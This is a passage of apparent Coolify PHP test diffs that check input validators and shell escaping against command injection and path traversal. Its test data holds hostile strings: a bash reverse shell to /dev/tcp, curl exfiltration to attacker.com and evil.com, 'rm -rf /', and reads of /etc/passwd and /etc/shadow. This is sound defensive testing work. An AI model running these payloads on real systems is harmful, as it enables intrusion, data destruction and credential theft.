'tag in image-name-only field' => 'coolify/poc:latest',
]);
it('accepts valid docker registry image tags', function (string $tag) {
expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeTrue();
})->with([
'latest' => 'latest',
'version' => 'v1.2.3',
'uppercase and underscore' => 'PR_123',
'sha256 hash' => '1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'legacy sha256 prefixed hash' => 'sha256-1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
]);
it('rejects docker registry image tags with shell metacharacters', function (string $tag) {
expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeFalse();
})->with([
'command substitution' => 'latest$(touch /tmp/pwned)',
'semicolon' => 'latest;id',
'backticks' => 'latest`id`',
'pipe' => 'latest|id',
'logical and' => 'latest&&id',
'newline' => "latest\nid",
]);
it('accepts supported full docker image reference formats', function (string $imageReference) {
$failures = [];
(new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void {
$failures[] = $message;
});
expect($failures)->toBeEmpty();
})->with([
'image with tag' => 'nginx:latest',
'registry image with tag' => 'ghcr.io/user/app:v1.2.3',
'image with sha256 digest' => 'nginx@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'registry image with sha256 digest' => 'ghcr.io/user/app@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'registry port image with tag' => 'localhost:5000/app:latest',
]);
it('rejects unsupported full docker image reference formats', function (string $imageReference) {
$failures = [];
(new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void {
$failures[] = $message;
});
expect($failures)->not->toBeEmpty();
})->with([
'colon sha256 marker' => 'nginx:sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'command substitution' => 'nginx:latest$(touch /tmp/pwned)',
'newline' => "nginx:latest\nid",
]);
it('stops deployments when a stored docker registry image value is unsafe', function () {
$job = (new ReflectionClass(ApplicationDeploymentJob::class))->newInstanceWithoutConstructor();
$application = new Application([
'docker_registry_image_name' => 'coolify/poc$(touch /tmp/pwned)',
'docker_registry_image_tag' => 'latest',
]);
$deploymentQueue = new ApplicationDeploymentQueue([
'docker_registry_image_tag' => null,
]);
$jobReflection = new ReflectionClass($job);
foreach ([
'application' => $application,
'application_deployment_queue' => $deploymentQueue,
'dockerImagePreviewTag' => null,
] as $property => $value) {
$reflectionProperty = $jobReflection->getProperty($property);
$reflectionProperty->setValue($job, $value);
}
$method = $jobReflection->getMethod('validateDockerRegistryImageConfiguration');
expect(fn () => $method->invoke($job))->toThrow(DeploymentException::class);
});
@@ -0,0 +1,23 @@
<?php
it('requires a mail driver before Docmost can start', function () {
$compose = file_get_contents(__DIR__.'/../../templates/compose/docmost.yaml');
expect($compose)
->toContain('MAIL_DRIVER=${MAIL_DRIVER:?}')
->not->toContain('MAIL_DRIVER=${MAIL_DRIVER}');
foreach (['service-templates.json', 'service-templates-latest.json'] as $templateFile) {
$templates = json_decode(
file_get_contents(__DIR__."/../../templates/{$templateFile}"),
associative: true,
flags: JSON_THROW_ON_ERROR,
);
$generatedCompose = base64_decode($templates['docmost']['compose'], strict: true);
expect($generatedCompose)
->toContain('MAIL_DRIVER=${MAIL_DRIVER:?}')
->not->toContain('MAIL_DRIVER=${MAIL_DRIVER}');
}
});
@@ -0,0 +1,74 @@
<?php
use App\Models\EnvironmentVariable;
use App\Models\SharedEnvironmentVariable;
it('flags NIXPACKS_ keys as buildpack control variables', function () {
$env = new EnvironmentVariable;
$env->key = 'NIXPACKS_NODE_VERSION';
expect($env->is_buildpack_control)->toBeTrue();
});
it('flags RAILPACK_ keys as buildpack control variables', function () {
$env = new EnvironmentVariable;
$env->key = 'RAILPACK_NODE_VERSION';
expect($env->is_buildpack_control)->toBeTrue();
});
it('does not flag user-defined keys as buildpack control variables', function () {
$env = new EnvironmentVariable;
$env->key = 'MY_BUILD_VAR';
expect($env->is_buildpack_control)->toBeFalse();
});
it('does not flag empty key as buildpack control variable', function () {
$env = new EnvironmentVariable;
expect($env->is_buildpack_control)->toBeFalse();
});
it('lists is_buildpack_control in appends and drops legacy is_nixpacks', function () {
$env = new EnvironmentVariable;
expect($env->getAppends())->toContain('is_buildpack_control');
expect($env->getAppends())->not->toContain('is_nixpacks');
});
it('normalizes environment variable keys before storing them on the model', function () {
$env = new EnvironmentVariable;
$env->key = ' node.name ';
expect($env->key)->toBe('node.name');
});
it('allows Docker-compatible environment variable keys on the model', function (string $key) {
$env = new EnvironmentVariable;
$env->key = $key;
expect($env->key)->toBe($key);
})->with([
'starts with digit' => '1BAD',
'hyphen' => 'BAD-KEY',
'dot' => 'node.name',
'uppercase dots' => 'XPACK.SECURITY.ENABLED',
'semicolon' => 'BAD;KEY',
]);
it('rejects environment variable keys Docker cannot represent on the model', function () {
$env = new EnvironmentVariable;
expect(function () use ($env) {
$env->key = 'BAD=KEY';
})->toThrow(InvalidArgumentException::class, 'Docker-compatible');
});
it('rejects shared environment variable keys Docker cannot represent on the model', function () {
$env = new SharedEnvironmentVariable;
expect(function () use ($env) {
$env->key = 'BAD=KEY';
})->toThrow(InvalidArgumentException::class, 'Docker-compatible');
});
+29
View File
@@ -0,0 +1,29 @@
<?php
test('hex magic variables generate valid hex strings with expected lengths', function (string $command, int $expectedLength) {
$value = generateEnvValue($command);
expect($value)
->toBeString()
->toMatch('/^[0-9a-f]+$/');
expect(strlen($value))->toBe($expectedLength);
})->with([
'HEX_32' => ['HEX_32', 32],
'HEX_64' => ['HEX_64', 64],
'HEX_128' => ['HEX_128', 128],
]);
test('real base64 magic variables generate valid base64 strings from expected byte lengths', function (string $command, int $expectedBytes) {
$value = generateEnvValue($command);
$decodedValue = base64_decode($value, true);
expect($value)->toBeString();
expect($decodedValue)->not->toBeFalse();
expect(strlen($decodedValue))->toBe($expectedBytes);
})->with([
'REALBASE64' => ['REALBASE64', 32],
'REALBASE64_32' => ['REALBASE64_32', 32],
'REALBASE64_64' => ['REALBASE64_64', 64],
'REALBASE64_128' => ['REALBASE64_128', 128],
]);
@@ -0,0 +1,49 @@
<?php
namespace App\Models {
function generateGithubInstallationToken(GithubApp $source): string
{
return 'review token/with+symbols';
}
}
namespace {
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Models\GithubApp;
test('private github app submodule credentials use per command git config', function () {
$application = new Application;
$application->forceFill([
'uuid' => 'test-app-uuid',
'git_repository' => 'coollabsio/private-app',
'git_branch' => 'main',
'git_commit_sha' => 'HEAD',
]);
$settings = new ApplicationSetting;
$settings->is_git_shallow_clone_enabled = false;
$settings->is_git_submodules_enabled = true;
$settings->is_git_lfs_enabled = false;
$application->setRelation('settings', $settings);
$source = new GithubApp;
$source->forceFill([
'html_url' => 'https://github.com',
'api_url' => 'https://api.github.com',
'is_public' => false,
]);
$application->setRelation('source', $source);
$result = $application->generateGitImportCommands(
deployment_uuid: 'test-deployment',
exec_in_docker: false,
);
expect($result['commands'])
->not->toContain('git config --global')
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' clone --recurse-submodules -b 'main'")
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' submodule sync")
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' submodule update --init --recursive");
});
}
+168
View File
@@ -0,0 +1,168 @@
<?php
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Models\GitlabApp;
use App\Models\PrivateKey;
describe('Git submodule credential propagation', function () {
beforeEach(function () {
$this->application = new Application;
$this->application->forceFill([
'uuid' => 'test-app-uuid',
'git_commit_sha' => 'HEAD',
]);
$settings = new ApplicationSetting;
$settings->is_git_shallow_clone_enabled = false;
$settings->is_git_submodules_enabled = true;
$settings->is_git_lfs_enabled = false;
$this->application->setRelation('settings', $settings);
});
test('setGitImportSettings uses provided gitSshCommand for submodule update', function () {
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')
->toContain('git submodule sync');
});
test('setGitImportSettings uses default ssh command when no gitSshCommand provided', function () {
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
);
expect($result)
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
});
test('setGitImportSettings uses provided gitSshCommand for fetch and checkout', function () {
$this->application->git_commit_sha = 'abc123def456';
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git -c advice.detachedHead=false checkout');
});
test('setGitImportSettings uses provided gitSshCommand for shallow fetch', function () {
$this->application->git_commit_sha = 'abc123def456';
$this->application->settings->is_git_shallow_clone_enabled = true;
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch --depth=1 origin');
});
test('setGitImportSettings uses provided gitSshCommand for lfs pull', function () {
$this->application->settings->is_git_lfs_enabled = true;
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git lfs pull');
});
test('buildGitCheckoutCommand includes GIT_SSH_COMMAND for submodule update when provided', function () {
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa';
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
$result = $method->invoke($this->application, 'main', $sshCommand);
expect($result)
->toContain("git checkout 'main'")
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive');
});
test('buildGitCheckoutCommand uses default ssh command for submodule update when none provided', function () {
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
$result = $method->invoke($this->application, 'main');
expect($result)
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
});
test('buildGitCheckoutCommand omits submodule update when submodules disabled', function () {
$this->application->settings->is_git_submodules_enabled = false;
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
$result = $method->invoke($this->application, 'main');
expect($result)
->toContain("git checkout 'main'")
->not->toContain('submodule');
});
test('generateGitImportCommands uses GitLab private key for PR submodule checkout', function () {
$settings = new ApplicationSetting;
$settings->is_git_shallow_clone_enabled = false;
$settings->is_git_submodules_enabled = true;
$settings->is_git_lfs_enabled = false;
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
$gitlabSource->shouldReceive('getMorphClass')->andReturn(GitlabApp::class);
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey);
$gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22);
$gitlabSource->shouldReceive('getAttribute')->with('html_url')->andReturn('https://gitlab.com');
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->git_commit_sha = 'HEAD';
$application->setRelation('settings', $settings);
$application->source = $gitlabSource;
$application->shouldReceive('deploymentType')->andReturn('source');
$application->shouldReceive('customRepository')->andReturn([
'repository' => 'git@gitlab.com:user/repo.git',
'port' => 22,
]);
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
$result = $application->generateGitImportCommands(
deployment_uuid: 'test-uuid',
pull_request_id: 123,
git_type: 'gitlab',
exec_in_docker: false,
);
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
expect($result['commands'])
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch origin merge-requests/123/head:pr-123-coolify')
->toContain("git checkout 'pr-123-coolify'")
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')
->not->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
});
});
+25 -32
View File
@@ -1,16 +1,26 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Livewire\Project\Database\ImportForm;
function importFormWithResource(string $modelClass): ImportForm
{
$component = new class extends ImportForm
{
public $resource;
};
$database = Mockery::mock($modelClass);
$database->shouldReceive('getMorphClass')->andReturn($modelClass);
$component->resource = $database;
return $component;
}
test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandalonePostgresql');
$component->dumpAll = false;
$component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('pg_restore');
@@ -18,30 +28,21 @@ test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
});
test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandalonePostgresql');
$component->dumpAll = true;
// This is the full dump-all command prefix that would be set in the updatedDumpAll method
$component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('gunzip -cf /tmp/test.dump');
expect($result)->toContain('psql -U $POSTGRES_USER postgres');
expect($result)->toContain('psql -U ${POSTGRES_USER} -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}');
});
test('buildRestoreCommand handles MySQL without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandaloneMysql');
$component->dumpAll = false;
$component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMysql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mysql -u $MYSQL_USER');
@@ -49,31 +50,23 @@ test('buildRestoreCommand handles MySQL without dumpAll', function () {
});
test('buildRestoreCommand handles MariaDB without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandaloneMariadb');
$component->dumpAll = false;
$component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMariadb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mariadb -u $MARIADB_USER');
expect($result)->toContain('< /tmp/test.dump');
});
test('buildRestoreCommand handles MongoDB', function () {
$component = new Import;
$component->dumpAll = false;
test('buildRestoreCommand always appends the MongoDB archive path', function (bool $dumpAll) {
$component = importFormWithResource('App\Models\StandaloneMongodb');
$component->dumpAll = $dumpAll;
$component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
$database = Mockery::mock('App\Models\StandaloneMongodb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mongorestore');
expect($result)->toContain('/tmp/test.dump');
});
expect($result)->toContain('--archive=/tmp/test.dump');
})->with([false, true]);
@@ -1,15 +1,11 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Models\Server;
use App\Livewire\Project\Database\ImportForm;
test('checkFile does nothing when customLocation is empty', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// No server commands should be executed when customLocation is empty
$component->checkFile();
@@ -17,19 +13,16 @@ test('checkFile does nothing when customLocation is empty', function () {
});
test('checkFile validates file exists on server when customLocation is filled', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '/tmp/backup.sql';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// This test verifies the logic flows when customLocation has a value
// The actual remote process execution is tested elsewhere
expect($component->customLocation)->toBe('/tmp/backup.sql');
});
test('customLocation can be cleared to allow uploaded file to be used', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '/tmp/backup.sql';
// Simulate clearing the customLocation (as happens when file is uploaded)
@@ -39,7 +32,7 @@ test('customLocation can be cleared to allow uploaded file to be used', function
});
test('validateBucketName accepts valid bucket names', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateBucketName');
// Valid bucket names
@@ -51,7 +44,7 @@ test('validateBucketName accepts valid bucket names', function () {
});
test('validateBucketName rejects invalid bucket names', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateBucketName');
// Invalid bucket names (command injection attempts)
@@ -65,7 +58,7 @@ test('validateBucketName rejects invalid bucket names', function () {
});
test('validateS3Path accepts valid S3 paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateS3Path');
// Valid S3 paths
@@ -77,7 +70,7 @@ test('validateS3Path accepts valid S3 paths', function () {
});
test('validateS3Path rejects invalid S3 paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateS3Path');
// Invalid S3 paths (command injection attempts)
@@ -97,7 +90,7 @@ test('validateS3Path rejects invalid S3 paths', function () {
});
test('validateServerPath accepts valid server paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateServerPath');
// Valid server paths (must be absolute)
@@ -108,7 +101,7 @@ test('validateServerPath accepts valid server paths', function () {
});
test('validateServerPath rejects invalid server paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateServerPath');
// Invalid server paths
+8 -7
View File
@@ -1,6 +1,7 @@
<?php
use App\Actions\Proxy\GetProxyConfiguration;
use Illuminate\Log\LogManager;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
use Spatie\SchemalessAttributes\SchemalessAttributes;
@@ -83,7 +84,7 @@ YAML;
});
it('logs warning when regenerating defaults', function () {
Log::swap(new \Illuminate\Log\LogManager(app()));
Log::swap(new LogManager(app()));
Log::spy();
// No DB config, no disk config — will try to regenerate
@@ -94,7 +95,7 @@ it('logs warning when regenerating defaults', function () {
// the force regenerate path instead
try {
GetProxyConfiguration::run($server, forceRegenerate: true);
} catch (\Throwable $e) {
} catch (Throwable $e) {
// generateDefaultProxyConfiguration may fail without full server setup
}
@@ -115,7 +116,7 @@ it('does not read from disk when DB config exists', function () {
});
it('rejects stored Traefik config when proxy type is CADDY', function () {
Log::swap(new \Illuminate\Log\LogManager(app()));
Log::swap(new LogManager(app()));
Log::spy();
$traefikConfig = "services:\n traefik:\n image: traefik:v3.6\n";
@@ -126,7 +127,7 @@ it('rejects stored Traefik config when proxy type is CADDY', function () {
// Both will fail in test env, but the warning log proves mismatch was detected.
try {
GetProxyConfiguration::run($server);
} catch (\Throwable $e) {
} catch (Throwable $e) {
// Expected — regeneration requires SSH/full server setup
}
@@ -136,7 +137,7 @@ it('rejects stored Traefik config when proxy type is CADDY', function () {
});
it('rejects stored Caddy config when proxy type is TRAEFIK', function () {
Log::swap(new \Illuminate\Log\LogManager(app()));
Log::swap(new LogManager(app()));
Log::spy();
$caddyConfig = "services:\n caddy:\n image: lucaslorentz/caddy-docker-proxy:2.8-alpine\n";
@@ -144,7 +145,7 @@ it('rejects stored Caddy config when proxy type is TRAEFIK', function () {
try {
GetProxyConfiguration::run($server);
} catch (\Throwable $e) {
} catch (Throwable $e) {
// Expected — regeneration requires SSH/full server setup
}
@@ -163,7 +164,7 @@ it('accepts stored Caddy config when proxy type is CADDY', function () {
});
it('accepts stored config when YAML parsing fails', function () {
$invalidYaml = "this: is: not: [valid yaml: {{{}}}";
$invalidYaml = 'this: is: not: [valid yaml: {{{}}}';
$server = mockServerWithDbConfig($invalidYaml, 'TRAEFIK');
// Invalid YAML should not block — configMatchesProxyType returns true on parse failure
+39 -13
View File
@@ -12,43 +12,69 @@
* - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
*/
test('proxy configuration rejects command injection in filename with command substitution', function () {
expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with semicolon', function () {
expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with pipe', function () {
expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with backticks', function () {
expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with ampersand', function () {
expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with redirect operators', function () {
expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects reverse shell payload', function () {
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects path traversal filenames', function (string $filename) {
expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename'))
->toThrow(Exception::class);
})->with([
'../VICTIM_FILE',
'../../etc/shadow',
'/etc/passwd',
'subdir/config.yaml',
'subdir\\config.yaml',
'config..yaml',
"config.yaml\0../../etc/passwd",
]);
test('dynamic proxy components use filename-safe validation', function () {
$deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php');
$createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php');
expect($deleteComponent)
->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')")
->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')");
expect($createComponent)
->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')")
->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')");
});
test('proxy configuration escapes filenames properly', function () {
$filename = "config'test.yaml";
$escaped = escapeshellarg($filename);
@@ -64,20 +90,20 @@ test('proxy configuration escapes filenames with spaces', function () {
});
test('proxy configuration accepts legitimate Traefik filenames', function () {
expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
});
test('proxy configuration accepts legitimate Caddy filenames', function () {
expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename'))
->not->toThrow(Exception::class);
});
+85 -2
View File
@@ -1,8 +1,14 @@
<?php
use App\Livewire\Project\Database\ImportForm;
use App\Models\StandaloneMariadb;
use App\Models\StandaloneMongodb;
use App\Models\StandaloneMysql;
use App\Models\StandalonePostgresql;
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
// Test that escapeshellarg works correctly for various malicious inputs
// This is the core security mechanism used in Import.php line 407-410
// This is the core security mechanism used by ImportForm.
// Test case 1: Secret with command injection attempt
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
@@ -41,7 +47,7 @@ it('escapeshellarg properly escapes S3 credentials with shell metacharacters', f
});
it('verifies command injection is prevented in mc alias set command format', function () {
// Simulate the exact scenario from Import.php:407-410
// Simulate the exact scenario from ImportForm.
$containerName = 's3-restore-test-uuid';
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
$key = 'AKIATEST";whoami;"';
@@ -96,3 +102,80 @@ it('handles S3 secrets with single quotes correctly', function () {
// The command should contain the properly escaped secret
expect($command)->toContain("'my'\\''secret'\\''key'");
});
it('quotes restore command temp paths with spaces', function (string $morphClass) {
$component = new class extends ImportForm
{
public string $morphClass;
public function __get($property)
{
if ($property === 'resource') {
return new class($this->morphClass)
{
public function __construct(private readonly string $morphClass) {}
public function getMorphClass(): string
{
return $this->morphClass;
}
};
}
return parent::__get($property);
}
};
$component->morphClass = $morphClass;
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
$restoreCommand = $component->buildRestoreCommand($tmpPath);
expect($restoreCommand)
->toContain(escapeshellarg($tmpPath))
->not->toContain(" {$tmpPath}");
})->with([
'mariadb' => StandaloneMariadb::class,
'mysql' => StandaloneMysql::class,
'postgresql' => StandalonePostgresql::class,
'mongodb' => StandaloneMongodb::class,
]);
it('quotes dump all restore command temp paths with spaces', function (string $morphClass) {
$component = new class extends ImportForm
{
public string $morphClass;
public function __get($property)
{
if ($property === 'resource') {
return new class($this->morphClass)
{
public function __construct(private readonly string $morphClass) {}
public function getMorphClass(): string
{
return $this->morphClass;
}
};
}
return parent::__get($property);
}
};
$component->morphClass = $morphClass;
$component->dumpAll = true;
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
$escapedTmpPath = escapeshellarg($tmpPath);
$restoreCommand = $component->buildRestoreCommand($tmpPath);
expect($restoreCommand)
->toContain("gunzip -cf {$escapedTmpPath}")
->toContain("cat {$escapedTmpPath}")
->not->toContain("gunzip -cf {$tmpPath}")
->not->toContain("cat {$tmpPath}");
})->with([
'mariadb' => StandaloneMariadb::class,
'mysql' => StandaloneMysql::class,
'postgresql' => StandalonePostgresql::class,
]);
+70 -3
View File
@@ -1,6 +1,10 @@
<?php
use App\Models\S3Storage;
use Illuminate\Support\Facades\Storage;
use Tests\TestCase;
uses(TestCase::class);
test('S3Storage model has correct cast definitions', function () {
$s3Storage = new S3Storage;
@@ -45,9 +49,72 @@ test('S3Storage awsUrl method constructs correct URL format', function () {
expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
});
test('S3Storage model is guarded correctly', function () {
test('S3Storage model fillable attributes are configured correctly', function () {
$s3Storage = new S3Storage;
// The model should have $guarded = [] which means everything is fillable
expect($s3Storage->getGuarded())->toBe([]);
expect($s3Storage->getFillable())->toBe([
'name',
'description',
'region',
'key',
'secret',
'bucket',
'endpoint',
'is_usable',
'unusable_email_sent',
]);
});
test('S3Storage connection validation uses short s3 client timeouts', function () {
$disk = Mockery::mock();
$disk->expects('files')->once()->andReturn([]);
Storage::expects('build')
->once()
->with(Mockery::on(function (array $config) {
expect($config['http']['connect_timeout'])->toBe(15);
expect($config['http']['timeout'])->toBe(15);
return true;
}))
->andReturn($disk);
$s3Storage = new S3Storage;
$s3Storage->setRawAttributes([
